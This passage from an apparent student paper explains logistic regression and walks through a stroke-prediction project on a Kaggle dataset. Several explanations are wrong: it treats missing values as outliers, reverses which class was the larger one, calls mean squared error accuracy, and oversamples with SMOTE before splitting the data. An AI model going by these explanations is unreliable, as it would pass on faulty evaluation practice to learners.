<figure class="wp-block-image size-large is-resized"><img loading="lazy" decoding="async" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.55.03-AM-1024x141.png" alt="" class="wp-image-2186" width="568" height="77" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.55.03-AM-1024x141.png 1024w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.55.03-AM-300x41.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.55.03-AM-768x106.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.55.03-AM-920x127.png 920w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.55.03-AM-230x32.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.55.03-AM-350x48.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.55.03-AM-480x66.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.55.03-AM.png 1090w" sizes="(max-width: 568px) 100vw, 568px" /></figure>



<p>where L is the curve’s maximum value and (θ<sub>0</sub> and θ<sub>1</sub>x)  = g(x) or the linear regression function.</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.59.33-AM.png" alt="" class="wp-image-2187" width="504" height="425" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.59.33-AM.png 744w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.59.33-AM-300x253.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.59.33-AM-230x194.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.59.33-AM-350x295.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-10.59.33-AM-480x405.png 480w" sizes="(max-width: 504px) 100vw, 504px" /><figcaption>Figure 4.5 Logistic regression used in binary classification</figcaption></figure>



<p>In the case of a common sigmoid function, the output is in the range of 0 and 1, so L would be 1. There exists a threshold at 0.5; Outputs less than 0.5 will be still to 0 while outputs greater than equal to 0.5 will be set to one. Logistic regression finds the curve of best fit or the best sigmoid function for the given data set. For linear regression, we found the line of best fit with Gradient Descent. For logistic regression, we will use the Cross-Entropy Loss Function to determine the curve of best fit. Cross-entropy loss is the sum of the negative logarithm of the predicted probabilities of each model. For my case, I had only two labels and used Binary Cross-Entropy Loss which can be represented in the formula:</p>



<figure class="wp-block-image size-large is-resized"><img loading="lazy" decoding="async" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.00.10-AM-1024x107.png" alt="" class="wp-image-2188" width="564" height="58" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.00.10-AM-1024x107.png 1024w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.00.10-AM-300x31.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.00.10-AM-768x81.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.00.10-AM-920x96.png 920w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.00.10-AM-230x24.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.00.10-AM-350x37.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.00.10-AM-480x50.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.00.10-AM.png 1450w" sizes="(max-width: 564px) 100vw, 564px" /></figure>



<p>where s<sub>i</sub> is inputs, f is the sigmoid function, and t<sub>i</sub> is the target prediction. The goal is to minimize the loss; thus, the smaller the loss the better the model. When the best sigmoid function is found, the Binary Cross-Entropy should be very close to 0. The machine completes most of the logistic regression process internally, so it will solve and find the best function, which can be applied to make accurate predictions.</p>



<h2 class="wp-block-heading"><strong>5. Process of Stroke Prediction Project</strong></h2>



<p>In the following session, I will apply the previous machine learning skills, specifically the logistic regression algorithm, to the case of stroke predictions. The data set introduced in Section 2 and the data science project process discussed in Section 2 will be used. I will describe the process of my project in detail and explain the analysis involved in interpreting the accuracy and efficiency of my model.</p>



<h4 class="wp-block-heading"><strong>5.1 Data Acquisition</strong></h4>



<p>Before I started the data science research project, I researched various topics and current events and chose to do my project on stroke prediction. I obtained my organized data from the Kaggle website, which allowed me to download the file as a CSV file conveniently. I used the Jupyter Notebook application via Anaconda as my environment for this project. I imported my downloaded CSV file to the notebook (Figure 5.1).</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="541" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.04.23-AM-1024x541.png" alt="" class="wp-image-2190" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.04.23-AM-1024x541.png 1024w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.04.23-AM-300x158.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.04.23-AM-768x405.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.04.23-AM-1536x811.png 1536w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.04.23-AM-920x486.png 920w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.04.23-AM-230x121.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.04.23-AM-350x185.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.04.23-AM-480x253.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.04.23-AM.png 1614w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Figure 5.1 First 15 lines of the imported dataset</figcaption></figure>



<p>As seen in the top row of Figure 5.1, there are various parameters or features: gender, age, hypertension, heart disease, marriage status, work type, residence type, average glucose level, BMI, and smoking status. The output or target I investigated was whether or not the patient had a stroke. The variables hypertension, heart disease, and stroke are defined by “0” being no and “1” being yes.</p>



<h4 class="wp-block-heading"><strong>5.2 Data Cleaning</strong></h4>



<p>During the data cleaning process, I removed the redundant data for clarity by deleting other values in gender, never_worked values from work_type, and the id column (Figure 5.2 &amp; Figure 5.4). In addition, I labeled all categorical features, or non-numerical columns, as ‘category’ when converting them into numerical values for analysis (Figure 5.2 &amp; 5.3). Since the age values are non-integers, I converted them into integers in the last row of my code (Figure 5.2).</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="354" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.05.13-AM-1024x354.png" alt="" class="wp-image-2191" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.05.13-AM-1024x354.png 1024w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.05.13-AM-300x104.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.05.13-AM-768x265.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.05.13-AM-1536x531.png 1536w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.05.13-AM-920x318.png 920w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.05.13-AM-230x79.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.05.13-AM-350x121.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.05.13-AM-480x166.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.05.13-AM.png 1714w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Figure 5.2 Code for removal and revision of dataset</figcaption></figure>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="373" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.05.43-AM-1024x373.png" alt="" class="wp-image-2192" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.05.43-AM-1024x373.png 1024w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.05.43-AM-300x109.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.05.43-AM-768x280.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.05.43-AM-1536x559.png 1536w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.05.43-AM-920x335.png 920w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.05.43-AM-230x84.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.05.43-AM-350x127.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.05.43-AM-480x175.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.05.43-AM.png 1730w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Figure 5.3 Conversion of categorical to numerical</figcaption></figure>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="271" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.06.02-AM-1024x271.png" alt="" class="wp-image-2193" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.06.02-AM-1024x271.png 1024w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.06.02-AM-300x79.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.06.02-AM-768x203.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.06.02-AM-1536x407.png 1536w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.06.02-AM-920x244.png 920w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.06.02-AM-230x61.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.06.02-AM-350x93.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.06.02-AM-480x127.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.06.02-AM.png 1676w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Figure 5.4 Histograms before and after removal of unnecessary data</figcaption></figure>



<p>The next part of data cleaning is removing outliers. I identified those outliers by recognizing the “null” or nonexistent values (Figure 5.5), labeled as NaN in the data as seen previously in Figure 3.2. Any non-zero output means there is a presence of outliers.</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.06.27-AM.png" alt="" class="wp-image-2194" width="436" height="304" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.06.27-AM.png 696w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.06.27-AM-300x209.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.06.27-AM-230x161.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.06.27-AM-350x244.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.06.27-AM-480x335.png 480w" sizes="(max-width: 436px) 100vw, 436px" /><figcaption>Figure 5.5 Identification of outlier</figcaption></figure>



<p>In my dataset, the only outlier was BMI. Thus, I removed those outlier values and replaced them with the mean BMI value in the code in Figure 5.6. I was confident no more null values were present in my data since all outputs were zero.</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.08.00-AM.png" alt="" class="wp-image-2195" width="540" height="337" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.08.00-AM.png 808w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.08.00-AM-300x188.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.08.00-AM-768x481.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.08.00-AM-230x144.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.08.00-AM-350x219.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.08.00-AM-480x301.png 480w" sizes="(max-width: 540px) 100vw, 540px" /><figcaption>Figure 5.6 Removal of outlier</figcaption></figure>



<h4 class="wp-block-heading"><strong>5.3 Data Balancing</strong></h4>



<p>Even after data cleaning, my dataset was not yet ready for use after data cleaning due to imbalance. Imbalanced data refers to the issue in classification when the classes or targets are not equally represented. The number of patients with stroke was much higher than without stroke (left plot in Figure 5.8). To create a fair model, the number of patients in stroke and no stroke classes must be equal. I could have resampled the data by undersampling (downsizing the larger class) or oversampling (upsizing the smaller class). I chose to oversample with the SMOTE algorithm (Figure 5.7) because the number of patients in the stroke class was too small and would lower the accuracy with undersampling.</p>



<figure class="wp-block-image size-large is-resized"><img loading="lazy" decoding="async" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.09.15-AM-1024x820.png" alt="" class="wp-image-2196" width="543" height="434" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.09.15-AM-1024x820.png 1024w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.09.15-AM-300x240.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.09.15-AM-768x615.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.09.15-AM-920x736.png 920w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.09.15-AM-230x184.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.09.15-AM-350x280.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.09.15-AM-480x384.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.09.15-AM.png 1132w" sizes="(max-width: 543px) 100vw, 543px" /><figcaption>Figure 5.7 Code for resampling</figcaption></figure>



<figure class="wp-block-image size-large is-resized"><img loading="lazy" decoding="async" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.09.39-AM-1024x366.png" alt="" class="wp-image-2197" width="648" height="231" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.09.39-AM-1024x366.png 1024w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.09.39-AM-300x107.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.09.39-AM-768x275.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.09.39-AM-920x329.png 920w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.09.39-AM-230x82.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.09.39-AM-350x125.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.09.39-AM-480x172.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.09.39-AM.png 1342w" sizes="(max-width: 648px) 100vw, 648px" /><figcaption>Figure 5.8 Histogram of gender to stroke before and after balancing</figcaption></figure>



<p>As a result of the oversampling, the ratio of stroke to no stroke should be 1:1 and thus balanced (Figure 5.7 &amp; right plot in Figure 5.8).</p>



<h4 class="wp-block-heading"><strong>5.4 Data Modeling</strong></h4>



<p>After dividing the resampled data into 80% training and 20% testing, I created a logistic regression model with the training data (Figure 5.9).</p>



<figure class="wp-block-image size-large is-resized"><img loading="lazy" decoding="async" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.10.21-AM-1024x132.png" alt="" class="wp-image-2198" width="607" height="77" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.10.21-AM-1024x132.png 1024w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.10.21-AM-300x39.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.10.21-AM-768x99.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.10.21-AM-1536x198.png 1536w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.10.21-AM-920x118.png 920w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.10.21-AM-230x30.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.10.21-AM-350x45.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.10.21-AM-480x62.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.10.21-AM.png 1538w" sizes="(max-width: 607px) 100vw, 607px" /><figcaption>Figure 5.9 Code for logistic regression</figcaption></figure>



<p>The logistic regression algorithm was imported from sklearn.linear_model and automatically found the best fit curve representing the dataset.</p>



<h4 class="wp-block-heading"><strong>5.5 Data Performance</strong></h4>



<p>In order to determine the accuracy of my model, I found the mean square error or MSE (from Equation 4.2). The MSE could be found with three methods: score method, sklearn.metrics, and equation (Figure 5.10).</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.10.53-AM.png" alt="" class="wp-image-2199" width="422" height="406" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.10.53-AM.png 760w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.10.53-AM-300x289.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.10.53-AM-230x222.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.10.53-AM-350x337.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.10.53-AM-480x462.png 480w" sizes="(max-width: 422px) 100vw, 422px" /><figcaption>Figure 5.10 Three methods of finding MSE</figcaption></figure>



<p>As a result, my model had approximately 91.1% accuracy. For a more detailed understanding of the model’s performance, I used a confusion matrix, which is a 2&#215;2 table dividing the accuracy of the data into four categories (Figure 5.11).</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.11.50-AM.png" alt="" class="wp-image-2200" width="497" height="423" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.11.50-AM.png 770w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.11.50-AM-300x256.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.11.50-AM-768x654.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.11.50-AM-230x196.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.11.50-AM-350x298.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.11.50-AM-480x409.png 480w" sizes="(max-width: 497px) 100vw, 497px" /><figcaption>Figure 5.11 Confusion matrix plot</figcaption></figure>



<p>The four categories, as shown in Figure 5.11, are true positive (bottom right), true negative (top left), false positive (top right), and false negative (bottom left). The accuracy of the model is high as long as most of the results are in the true positive and true negative categories because the predicted values are equal to the actual values. Using the confusion matrix, I further analyzed the performance of the model by calculating the F-1 score (Equation 5.1 &amp; Figure 5.12). The F-1 score shows not only accuracy but also precision. I used the sklearn.metric algorithm to calculate my F-1 score (Figure 5.12), but I also could have used the equation.</p>



<figure class="wp-block-image size-large is-resized"><img loading="lazy" decoding="async" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.12.52-AM-1024x259.png" alt="" class="wp-image-2201" width="548" height="138" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.12.52-AM-1024x259.png 1024w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.12.52-AM-300x76.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.12.52-AM-768x194.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.12.52-AM-920x233.png 920w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.12.52-AM-230x58.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.12.52-AM-350x89.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.12.52-AM-480x121.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.12.52-AM.png 1376w" sizes="(max-width: 548px) 100vw, 548px" /><figcaption>Figure 5.12 Code for F-1 score</figcaption></figure>



<p>As a result, my model had an F-1 score of approximately 90.8%. Both my MSE and F-1 score were above 90.0%, and thus my model had high accuracy and precision.</p>



<h4 class="wp-block-heading"><strong>5.6 Features Selection</strong></h4>



<p>Although my model already had high performance, I attempted to further increase it by removing certain features from my data. I hypothesized that the accuracy would improve if I removed the unimportant features or features with little correlation to the presence of stroke. On the other hand, the accuracy would drastically decrease when I removed important features. I determined the important and unimportant features with a correlation matrix plot (Figure 5.13).</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="878" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.14.22-AM-1024x878.png" alt="" class="wp-image-2202" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.14.22-AM-1024x878.png 1024w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.14.22-AM-300x257.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.14.22-AM-768x658.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.14.22-AM-920x788.png 920w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.14.22-AM-230x197.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.14.22-AM-350x300.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.14.22-AM-480x411.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.14.22-AM.png 1482w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Figure 5.13 Correlation matrix plot</figcaption></figure>



<p>The labeled bar on the right of Figure 5.13 shows the correlation between the features and output. The algorithm found the correlation with the following equation:</p>



<figure class="wp-block-image size-large is-resized"><img loading="lazy" decoding="async" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.14.46-AM-1024x203.png" alt="" class="wp-image-2203" width="567" height="112" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.14.46-AM-1024x203.png 1024w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.14.46-AM-300x59.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.14.46-AM-768x152.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.14.46-AM-920x182.png 920w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.14.46-AM-230x46.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.14.46-AM-350x69.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.14.46-AM-480x95.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.14.46-AM.png 1252w" sizes="(max-width: 567px) 100vw, 567px" /></figure>



<p>Where cov is the covariance, o<sub>x</sub> is the variability of x with respect to the mean (the variance), x<sub>i</sub> is an output of function x, x is the mean of x, and the y-variables have the same meanings using the y data set. When used to find the correlation between the parameters and stroke, I focused on the right-most column of the map. A correlation of 1.0 means the trends of the feature and output are equivalent, while a correlation of -1.0 means the trends of the feature and output are completely opposite. Both types of correlation are considered crucial when creating the logistic regression model. On the other hand, the feature and output are entirely unrelated if the correlation is 0. Therefore, I considered the features with a correlation close to 0—gender, residence type, children, and unknown smoking status—unimportant and removed them from my dataset (Figure 5.14).</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="102" src="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.30.46-AM-1024x102.png" alt="" class="wp-image-2206" srcset="https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.30.46-AM-1024x102.png 1024w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.30.46-AM-300x30.png 300w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.30.46-AM-768x77.png 768w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.30.46-AM-1536x154.png 1536w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.30.46-AM-920x92.png 920w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.30.46-AM-230x23.png 230w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.30.46-AM-350x35.png 350w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.30.46-AM-480x48.png 480w, https://exploratiojournal.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-11-at-11.30.46-AM.png 1720w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Figure 5.14 Code for removal of unimportant features</figcaption></figure>



<p>After the removal, I repeated the processes of splitting the data, training the data, creating the logistic regression model, and calculating its accuracy with MSE and F-1 scores. Surprisingly, the accuracy and F-1 score lowered to approximately 86.6%; hence, the data removal led to a smaller training set and thus a less accurate and precise model. I further tested this theory by removing the important features or only keeping the features deemed unimportant and then repeated the data modeling process. Understandably, the accuracy lowered to 66.2%, and the F-1 score reduced to 71.9%. In conclusion, I kept my original model with all the features because it had the highest accuracy and precision.</p>



<h2 class="wp-block-heading"><strong>6. Conclusion</strong></h2>



<p>In this data science project, I applied Machine Learning algorithms into predicting the likeliness of a patient in the United States to have a stroke. The goal of making such predictions is to prevent the consequences of stroke, which impacts a large population of Americans today. Throughout the project, I closely followed each step of the data science project process: data acquisition, data cleaning, data exploration, data modeling, and data interpretation. I discussed the difference between Supervised and Unsupervised Learning is whether the given data is labeled. Within Supervised Learning, there is Classification, using categorical data, and Regression, using numerical data. These data sets can be modeled with linear and logistic regression. In my project, I used a logistic regression algorithm to test and train my data. As a result, I tested my model with MSE and F-1 scores, and my model had an accuracy of 90%, which is a very promising outcome. To ensure the highest accuracy has been reached, I removed features with low correlation deemed unimportant and features with high correlation deemed important. The removal of important features led to a drastic drop in accuracy, and thus those features of the dataset should continue to be collected and studied for stroke predictions. Meanwhile, the removal of the irrelevant features had a small drop in accuracy, so those features are still of good use and are to be collected with the important features in this study. There may be other factors that play a role in the risk of stroke, however, the factors I have mentioned are of greatest significance based on the accuracy of my model.</p>



<h2 class="wp-block-heading"><strong>Works Cited</strong></h2>



